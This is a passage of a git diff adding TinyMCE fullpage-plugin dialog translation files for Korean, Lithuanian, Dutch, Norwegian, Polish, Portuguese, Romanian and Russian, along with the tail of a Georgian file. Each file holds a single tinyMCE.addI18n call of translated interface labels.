Script","add_style":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Style","add_link":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Link","add_base":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Base","add_comment":"\u10d9\u10dd\u10db\u10d4\u10dc\u10e2\u10d0\u10e0\u10d8","title_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Title","script_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Script","style_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Style","base_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Base","link_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Link","meta_element":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Meta","comment_element":"\u10d9\u10dd\u10db\u10d4\u10dc\u10e2\u10d8\u10d0\u10e0\u10d8",src:"Src",language:"\u10d4\u10dc\u10d0",href:"\u10d1\u10db\u10e3\u10da\u10d8",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",type:"\u10e2\u10d8\u10de\u10d8",charset:"\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",defer:"\u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d0",media:"\u10db\u10d4\u10d3\u10d8\u10d0",properties:"\u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",name:"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",value:"\u10db\u10d0\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d4\u10da\u10d8",content:"\u10e8\u10d8\u10dc\u10d0\u10d0\u10e0\u10e1\u10d8",rel:"Rel",rev:"Rev",hreflang:"\u10d4\u10dc\u10d8\u10e1 \u10d1\u10db\u10e3\u10da\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ko_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ko_dlg.js new file mode 100755 index 0000000..c21352b --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.fullpage_dlg',{title:"\ud398\uc774\uc9c0\uc758 \uc18d\uc131","meta_tab":"\uc77c\ubc18","appearance_tab":"\ud45c\uc2dc","advanced_tab":"\uace0\uae09","meta_props":"\uba54\ud0c0 \uc815\ubcf4",langprops:"\uc5b8\uc5b4\uc640 \uc778\ucf54\ub529","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","xml_pi":"XML\uc120\uc5b8",encoding:"\ubb38\uc790 \uc778\ucf54\ub529","appearance_bgprops":"\ubc30\uacbd \uc124\uc815","appearance_marginprops":"Body \ub9c8\uc9c4","appearance_linkprops":"\ub9c1\ud06c\uc0c9","appearance_textprops":"\ud14d\uc2a4\ud2b8 \uc124\uc815",bgcolor:"\ubc30\uacbd\uc0c9",bgimage:"\ubc30\uacbd \uc774\ubbf8\uc9c0","left_margin":"\uc67c\ucabd \ub9c8\uc9c4","right_margin":"\uc624\ub978\ucabd \ub9c8\uc9c4","top_margin":"\uc704 \ub9c8\uc9c4","bottom_margin":"\uc544\ub798 \ub9c8\uc9c4","text_color":"\ubb38\uc790\uc0c9","font_size":"\ubb38\uc790 \ud06c\uae30","font_face":"\uae00\uaf34","link_color":"\ub9c1\ud06c\uc0c9","hover_color":"\ub9c1\ud06c\uc0c9(hover)","visited_color":"\ub9c1\ud06c\uc0c9(visited)","active_color":"\ub9c1\ud06c\uc0c9(active)",textcolor:"\uc0c9",fontsize:"\ubb38\uc790 \ud06c\uae30",fontface:"\ud3f0\ud2b8","meta_index_follow":"\ubaa8\ub450 \ud5c8\uac00","meta_index_nofollow":"\ud398\uc774\uc9c0\ub97c \ud5c8\uac00\ud558\uc9c0\ub9cc \ub9c1\ud06c \uae08\uc9c0","meta_noindex_follow":"\ud398\uc774\uc9c0\ub97c \uae08\uc9c0\ud558\uace0 \ub9c1\ud06c \ud5c8\uac00","meta_noindex_nofollow":"\ubaa8\ub450 \uae08\uc9c0","appearance_style":"\uc2a4\ud0c0\uc77c\uc2dc\ud2b8 \uc124\uc815",stylesheet:"\uc2a4\ud0c0\uc77c\uc2dc\ud2b8",style:"\uc2a4\ud0c0\uc77c",author:"\ud544\uc790",copyright:"Copyright",add:"\uc694\uc18c \ucd94\uac00",remove:"\uc120\ud0dd \uc694\uc18c\ub97c \uc0ad\uc81c",moveup:"\uc120\ud0dd \uc694\uc18c\ub97c \uc704\uc5d0 \uc774\ub3d9",movedown:"\uc120\ud0dd \uc694\uc18c\ub97c \uc544\ub798\uc5d0 \uc774\ub3d9","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/lt_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/lt_dlg.js new file mode 100755 index 0000000..de70876 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.fullpage_dlg',{title:"Dokumento nustatymai","meta_tab":"Bendra","appearance_tab":"I\u0161vaizda","advanced_tab":"I\u0161pl\u0117sta","meta_props":"Meta informacija",langprops:"Kalba ir koduot\u0117","meta_title":"Pavadinimas","meta_keywords":"Rakta\u017eod\u017eiai","meta_description":"Apra\u0161as","meta_robots":"Robotai",doctypes:"Dokumento tipas",langcode:"Kalbos kodas",langdir:"Kalbos kryptis",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119","xml_pi":"XML deklaracijos",encoding:"Simboli\u0173 koduot\u0117","appearance_bgprops":"Fono nustatymai","appearance_marginprops":"K\u016bno para\u0161t\u0117s","appearance_linkprops":"Nuorod\u0173 spalvos","appearance_textprops":"Teksto nustatymai",bgcolor:"Fono spalva",bgimage:"Fono paveiksl\u0117lis","left_margin":"Kair\u0117 para\u0161t\u0117","right_margin":"De\u0161in\u0117 para\u0161t\u0117","top_margin":"Vir\u0161utin\u0117 para\u0161t\u0117","bottom_margin":"Apatin\u0117 para\u0161t\u0117","text_color":"Teksto spalva","font_size":"\u0160rifto dydis","font_face":"\u0160riftas","link_color":"Nuorodos spalva","hover_color":"U\u017evedus pele spalva","visited_color":"Aplankytos spalva","active_color":"Aktyvios spalva",textcolor:"Spalva",fontsize:"\u0160rifto dydis",fontface:"\u0160rifto \u0161eima","meta_index_follow":"Indeksuoti ir sekti nuorodomis","meta_index_nofollow":"Indeksuoti ir nesekti nuorodomis","meta_noindex_follow":"Neindeksuoti, bet sekti nuorodomis","meta_noindex_nofollow":"Neindeksuoti ir nesekti nuorodomis","appearance_style":"Stili\u0173 lapo ir stiliaus nustatymai",stylesheet:"Stili\u0173 lapas",style:"Stilius",author:"Autorius",copyright:"Autoriaus teis\u0117s",add:"Prid\u0117ti nauj\u0105 element\u0105",remove:"Pa\u0161alinti pa\u017eym\u0117t\u0105 element\u0105",moveup:"Perkelti pa\u017eym\u0117t\u0105 element\u0105 \u012f vir\u0161\u0173",movedown:"Perkelti pa\u017eym\u0117t\u0105 element\u0105 \u012f apa\u010di\u0105","head_elements":"Antra\u0161t\u0117s elementai",info:"Informacija","add_title":"Pavadinimo elementas","add_meta":"Meta elementas","add_script":"Skripto elementas","add_style":"Stiliaus elementas","add_link":"Nuorodos elementas","add_base":"Bazinis elementas","add_comment":"Komentaro mazgas","title_element":"Pavadinimo elementas","script_element":"Skripto elementas","style_element":"Stiliaus elementas","base_element":"Bazinis elementas","link_element":"Nuorodos elementas","meta_element":"Meta elementas","comment_element":"Komentaras",src:"\u0160altinis",language:"Kalba",href:"Href",target:"Paskirtis",type:"Tipas",charset:"Koduot\u0117",defer:"Atid\u0117ti",media:"Medija",properties:"Nustatymai",name:"Vardas",value:"Reik\u0161m\u0117",content:"Turinys",rel:"Laida",rev:"Pataisa",hreflang:"Href kalba","general_props":"Bendra","advanced_props":"I\u0161pl\u0117sta"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/nl_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/nl_dlg.js new file mode 100755 index 0000000..3fca750 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.fullpage_dlg',{title:"Documenteigenschappen","meta_tab":"Algemeen","appearance_tab":"Weergave","advanced_tab":"Geavanceerd","meta_props":"Meta informatie",langprops:"Taal en codering","meta_title":"Titel","meta_keywords":"Sleutelwoorden","meta_description":"Beschrijving","meta_robots":"Robots",doctypes:"Doctype",langcode:"Taalcode",langdir:"Taalrichting",ltr:"Van links naar rechts",rtl:"Van rechts naar links","xml_pi":"XML toewijzing",encoding:"Karaktercodering","appearance_bgprops":"Achtergrondeigenschappen","appearance_marginprops":"Bodymarge","appearance_linkprops":"Linkkleuren","appearance_textprops":"Teksteigenschappen",bgcolor:"Achtergrondkleur",bgimage:"Achtergrondafbeelding","left_margin":"Linkermarge","right_margin":"Rechtermarge","top_margin":"Bovenmarge","bottom_margin":"Ondermarge","text_color":"Tekstkleur","font_size":"Tekengrootte","font_face":"Lettertype","link_color":"Linkkleur","hover_color":"Hoverkleur","visited_color":"Bezocht kleur","active_color":"Actieve kleur",textcolor:"Kleur",fontsize:"Tekengrootte",fontface:"Lettertype","meta_index_follow":"Links indexeren en volgen","meta_index_nofollow":"Links indexeren maar niet volgen","meta_noindex_follow":"Links volgen maar niet indexeren","meta_noindex_nofollow":"Links niet indexeren en niet volgen","appearance_style":"Stijlblad en stijleigenschappen",stylesheet:"Stijlblad",style:"Stijl",author:"Auteur",copyright:"Copyright",add:"Nieuw element toevoegen",remove:"Geselecteerde elementen verwijderen",moveup:"Geselecteerde elementen omhoog verplaatsen",movedown:"Geselecteerde elementen omlaag verplaatsen","head_elements":"Kopelementen",info:"Informatie","add_title":"Titelelement","add_meta":"Meta-element","add_script":"Scriptelement","add_style":"Stijlelement","add_link":"Linkelement","add_base":"Basiselement","add_comment":"Opmerkingknooppunt","title_element":"Titelelement","script_element":"Scriptelement","style_element":"Stijlelement","base_element":"Basiselement","link_element":"Linkelement","meta_element":"Meta-element","comment_element":"Opmerking",src:"Bron",language:"Taal",href:"Href",target:"Doel",type:"Type",charset:"Karakterset",defer:"Uitstellen",media:"Media",properties:"Eigenschappen",name:"Naam",value:"Waarde",content:"Inhoud",rel:"Rel",rev:"Rev",hreflang:"Href taal","general_props":"Algemeen","advanced_props":"Geavanceerd"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/no_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/no_dlg.js new file mode 100755 index 0000000..66fc8ce --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.fullpage_dlg',{title:"Dokumentegenskaper","meta_tab":"Generelt","appearance_tab":"Utseende","advanced_tab":"Avansert","meta_props":"Meta informasjon",langprops:"Spr\u00e5k og koding","meta_title":"Tittel","meta_keywords":"N\u00f8kkelord","meta_description":"Beskrivelse","meta_robots":"Roboter",doctypes:"Dokument type",langcode:"Spr\u00e5kkode",langdir:"Skriftretning",ltr:"Venstre mot h\u00f8yre",rtl:"H\u00f8yre mot venstre","xml_pi":"XML deklarering",encoding:"Karakter konvertering","appearance_bgprops":"Bakgrunnsegenskaper","appearance_marginprops":"Body marg","appearance_linkprops":"Lenke farger","appearance_textprops":"Tekst egenskaper",bgcolor:"Bakgrunnsfarge",bgimage:"Bakgrunnsbilde","left_margin":"Venstre marg","right_margin":"H\u00f8yre marg","top_margin":"Topp marg","bottom_margin":"Bunn marg","text_color":"Tekstfarge","font_size":"Skriftst\u00f8rrelse","font_face":"Skrifttype","link_color":"Lenke farge","hover_color":"Mus-over farge","visited_color":"Bes\u00f8kt farge","active_color":"Aktiv farge",textcolor:"Farge",fontsize:"Skriftst\u00f8rrelse",fontface:"Skriftfamile","meta_index_follow":"Indekser og f\u00f8lg lenkene","meta_index_nofollow":"Indekser og ikke f\u00f8lg lenkene","meta_noindex_follow":"Ikke indekser, men f\u00f8lg lenkene","meta_noindex_nofollow":"Ikke indekser, og ikke f\u00f8lg lenkene","appearance_style":"Stilark og stilegenskaper",stylesheet:"Stilark",style:"Stil",author:"Forfatter",copyright:"Copyright",add:"Legg til nytt element",remove:"Fjerne valgt element",moveup:"Flytt markert element opp",movedown:"Flytt markert element ned","head_elements":"Overskriftselement",info:"Informasjon","add_title":"Tittelelement","add_meta":"Metaelement","add_script":"Skriptelement","add_style":"Stilelement","add_link":"Lenkeelement","add_base":"Basiselement","add_comment":"Kommentar","title_element":"Tittelelement","script_element":"Skriptelement","style_element":"Stilelement","base_element":"Basiselement","link_element":"Lenkeelement","meta_element":"Metaelement","comment_element":"Kommentar",src:"Kilde",language:"Spr\u00e5k",href:"Href",target:"M\u00e5l",type:"Type",charset:"Tegnsett",defer:"Henstille",media:"Objekt",properties:"Egenskaper",name:"Navn",value:"Verdi",content:"Innhold",rel:"Rel",rev:"Rev",hreflang:"Href spr\u00e5k","general_props":"Generelt","advanced_props":"Avansert"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/pl_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/pl_dlg.js new file mode 100755 index 0000000..b940052 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.fullpage_dlg',{title:"W\u0142a\u015bciwo\u015bci dokumentu","meta_tab":"Og\u00f3lne","appearance_tab":"Wygl\u0105d","advanced_tab":"Zaawansowane","meta_props":"Meta informacje",langprops:"J\u0119zyk i kodowanie","meta_title":"Tytu\u0142","meta_keywords":"S\u0142owa kluczowe","meta_description":"Opis","meta_robots":"Roboty",doctypes:"Typ dokumentu",langcode:"Oznaczenie kodowe j\u0119zyka",langdir:"Kierunek czytania tekstu",ltr:"Kierunek z lewej do prawej",rtl:"Kierunek z prawej do lewej","xml_pi":"Deklaracja XML",encoding:"Kodowanie znak\u00f3w","appearance_bgprops":"W\u0142a\u015bciwo\u015bci t\u0142a","appearance_marginprops":"Marginesy strony","appearance_linkprops":"Kolor odno\u015bnik\u00f3w","appearance_textprops":"W\u0142a\u015bciwo\u015bci tekstu",bgcolor:"Kolor t\u0142a",bgimage:"Obrazek t\u0142a","left_margin":"Lewy margines","right_margin":"Prawy margines","top_margin":"G\u00f3rny margines","bottom_margin":"Dolny margines","text_color":"Kolor tekstu","font_size":"Rozmiar czcionki","font_face":"Czcionka","link_color":"Kolor odno\u015bnika","hover_color":"Kolor po najechaniu myszk\u0105","visited_color":"Kolor odwiedzonych link\u00f3w","active_color":"Kolor aktywnych link\u00f3w",textcolor:"Kolor",fontsize:"Rozmiar czcionki",fontface:"Rodzaj czcionki","meta_index_follow":"Indeksuj i pod\u0105\u017caj za linkami","meta_index_nofollow":"Indeksuj i nie pod\u0105\u017caj za odno\u015bnikami","meta_noindex_follow":"Nie indeksuj i pod\u0105\u017caj za odno\u015bnikami","meta_noindex_nofollow":"Nie indeksuj i nie pod\u0105\u017caj za odno\u015bnikami","appearance_style":"Arkusze i w\u0142a\u015bciwo\u015bci styl\u00f3w",stylesheet:"Arkusz styl\u00f3w",style:"Styl",author:"Autor",copyright:"Prawa autorskie",add:"Dodaj nowy element",remove:"Usu\u0144 wybrany element",moveup:"Przesu\u0144 wybrane element do g\u00f3ry",movedown:"Przesu\u0144 wybrane element w d\u00f3\u0142","head_elements":"Elementy nag\u0142\u00f3wka",info:"Informacja","add_title":"Tytu\u0142","add_meta":"Meta tag","add_script":"Skrypt","add_style":"Styl","add_link":"Odno\u015bnik","add_base":"Baza","add_comment":"Komentarz","title_element":"Tytu\u0142","script_element":"Skrypt","style_element":"Styl","base_element":"Baza","link_element":"Odno\u015bnik","meta_element":"Meta tag","comment_element":"Komentarz",src:"\u0179r\u00f3d\u0142o",language:"J\u0119zyk",href:"Odno\u015bnik",target:"Cel",type:"Typ",charset:"Kodowanie",defer:"Defer",media:"Media",properties:"W\u0142a\u015bciwo\u015bci",name:"Nazwa",value:"Warto\u015b\u0107",content:"Zawarto\u015b\u0107",rel:"Rel",rev:"Rev",hreflang:"J\u0119zyk odno\u015bnika","general_props":"G\u0142\u00f3wne","advanced_props":"Zaawansowane"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/pt_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/pt_dlg.js new file mode 100755 index 0000000..749f868 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.fullpage_dlg',{title:"Propriedades do documento","meta_tab":"Geral","appearance_tab":"Apar\u00eancia","advanced_tab":"Avan\u00e7ado","meta_props":"Meta-informa\u00e7\u00e3o",langprops:"Idioma e codifica\u00e7\u00e3o","meta_title":"T\u00edtulo","meta_keywords":"Palavras-chave","meta_description":"Descri\u00e7\u00e3o","meta_robots":"Robots",doctypes:"Doctype",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto",ltr:"Esquerda para direita",rtl:"Direita para esquerda","xml_pi":"Declara\u00e7\u00e3o XML",encoding:"Codifica\u00e7\u00e3o de caracteres","appearance_bgprops":"Propriedades do plano de fundo","appearance_marginprops":"Margens (BODY)","appearance_linkprops":"Cores dos links","appearance_textprops":"Propriedades de texto",bgcolor:"Cor de fundo",bgimage:"Imagem de fundo","left_margin":"Margem esquerda","right_margin":"Margem direita","top_margin":"Margem topo","bottom_margin":"Margem base","text_color":"Cor do texto","font_size":"Tamanho fonte","font_face":"Fonte","link_color":"Cores dos links","hover_color":"Hover","visited_color":"Visitado","active_color":"Ativo",textcolor:"Cor",fontsize:"Tamanho fonte",fontface:"Fonte","meta_index_follow":"Indexar e seguir os hyperlinks","meta_index_nofollow":"Indexar e n\u00e3o seguir os hyperlinks","meta_noindex_follow":"Seguir hyperlinks, mas n\u00e3o indexar","meta_noindex_nofollow":"N\u00e3o indexar / n\u00e3o seguir hyperlinks.","appearance_style":"Propriedades de folhas de estilo",stylesheet:"Folha de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Acrescentar novo elemento",remove:"Remover elemento selecionado",moveup:"Subir elemento selecionado",movedown:"Descer elemento selecionado","head_elements":"Elementos HEAD",info:"Informa\u00e7\u00e3o","add_title":"TITLE","add_meta":"META","add_script":"SCRIPT","add_style":"STYLE","add_link":"LINK","add_base":"BASE","add_comment":"Coment\u00e1rio","title_element":"TITLE","script_element":"SCRIPT","style_element":"STYLE","base_element":"BASE","link_element":"LINK","meta_element":"META","comment_element":"Coment\u00e1rio",src:"src",language:"Idioma",href:"href",target:"Alvo",type:"Tipo",charset:"Charset",defer:"Adiar",media:"Media",properties:"Propriedades",name:"Nome",value:"Valor",content:"Conte\u00fado",rel:"rel",rev:"rev",hreflang:"href lang","general_props":"Geral","advanced_props":"Avan\u00e7ado"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ro_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ro_dlg.js new file mode 100755 index 0000000..db0a58b --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.fullpage_dlg',{title:"Propriet\u0103\u021bi document","meta_tab":"General","appearance_tab":"Aspect","advanced_tab":"Avansat","meta_props":"Meta informa\u021bii",langprops:"Limb\u0103 \u0219i codare","meta_title":"Titlu","meta_keywords":"Cuvinte cheie","meta_description":"Descriere","meta_robots":"Robo\u021bi",doctypes:"Doctype",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103",ltr:"De la st\u00e2nga la dreapta",rtl:"De la dreapta la st\u00e2nga","xml_pi":"Declara\u021bie XML",encoding:"Cod caractere","appearance_bgprops":"Propriet\u0103\u021bi fundal","appearance_marginprops":"Margini corp","appearance_linkprops":"Culoare leg\u0103turi","appearance_textprops":"Propriet\u0103\u021bi text",bgcolor:"Culoare de fundal",bgimage:"Imagine de fundal","left_margin":"Margine st\u00e2nga","right_margin":"Margine dreapta","top_margin":"Margine sus","bottom_margin":"Margine jos","text_color":"Culoare text","font_size":"Dimensiune font","font_face":"Tip font","link_color":"Culoare leg\u0103tur\u0103","hover_color":"Culoare leg\u0103tur\u0103 la maus deasupra","visited_color":"Leg\u0103tur\u0103 vizitat\u0103","active_color":"Leg\u0103tur\u0103 activ\u0103",textcolor:"Culoare",fontsize:"Dimensiune font",fontface:"Tip font","meta_index_follow":"Indexeaz\u0103 \u0219i urm\u0103re\u0219te aceste leg\u0103turi","meta_index_nofollow":"Indexeaz\u0103 \u0219i nu urm\u0103ri aceste leg\u0103turi","meta_noindex_follow":"Nu indexa, dar urm\u0103re\u0219te aceste leg\u0103turi","meta_noindex_nofollow":"Nu indexa \u0219i nu urm\u0103ri aceste leg\u0103turi","appearance_style":"Stil",stylesheet:"Foaie de stil",style:"Stil",author:"Autor",copyright:"Copyright",add:"Adaug\u0103 un element",remove:"\u0218terge elementul selectat",moveup:"Mut\u0103 elementul selectat \u00een sus",movedown:"Mut\u0103 elementul selectat \u00een jos","head_elements":"Elemente de antet",info:"Informa\u021bii","add_title":"Titlu","add_meta":"Meta","add_script":"Script","add_style":"Stil","add_link":"Link","add_base":"Base","add_comment":"Comentariu","title_element":"Title","script_element":"Script","style_element":"Stil","base_element":"Base","link_element":"Link","meta_element":"Meta","comment_element":"Comentariu",src:"Src",language:"Limb\u0103",href:"Href",target:"\u021aint\u0103",type:"Tip",charset:"Set de caractere",defer:"Defer",media:"Media",properties:"Propriet\u0103\u021bi",name:"Nume",value:"Valoare",content:"Con\u021binut",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avansat"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ru_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ru_dlg.js new file mode 100755 index 0000000..1ae10de --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.fullpage_dlg',{title:"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u041e\u0431\u0449\u0435\u0435","appearance_tab":"\u0412\u0438\u0434","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","meta_props":"\u0426\u0435\u043b\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",langprops:"\u042f\u0437\u044b\u043a \u0438 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","meta_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","meta_keywords":"\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430","meta_description":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","meta_robots":"\u0420\u0430\u0431\u043e\u0442\u044b",doctypes:"\u0422\u0438\u043f",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","xml_pi":"\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 XML",encoding:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430","appearance_bgprops":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0444\u043e\u043d\u0430","appearance_marginprops":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b","appearance_linkprops":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a","appearance_textprops":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0435\u043a\u0441\u0442\u0430",bgcolor:"\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430",bgimage:"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","left_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043b\u0435\u0432\u0430","right_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043f\u0440\u0430\u0432\u0430","top_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u0432\u0435\u0440\u0445\u0443","bottom_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043d\u0438\u0437\u0443","text_color":"\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438","hover_color":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u0438\u0438","visited_color":"\u0426\u0432\u0435\u0442 \u043d\u0430\u0436\u0430\u0442\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438","active_color":"\u0426\u0432\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438",textcolor:"\u0426\u0432\u0435\u0442",fontsize:"\u0420\u0430\u0437\u043c\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0421\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0448\u0440\u0438\u0444\u0442\u043e\u0432","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don \\ \'t follow the links","appearance_style":"\u041b\u0438\u0441\u0442 \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0442\u0438\u043b\u0435\u0439",stylesheet:"\u041b\u0438\u0441\u0442 \u0441\u0442\u0438\u043b\u0435\u0439",style:"\u0421\u0442\u0438\u043b\u044c",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"\u041a\u043e\u043f\u0438\u0440\u0430\u0439\u0442",add:"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0432\u0435\u0440\u0445",movedown:"\u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u043d\u0438\u0437","head_elements":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Header",info:"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f","add_title":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Title","add_meta":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Meta","add_script":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Script","add_style":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Style","add_link":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Link","add_base":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Base","add_comment":"\u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","title_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Title","script_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Script","style_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 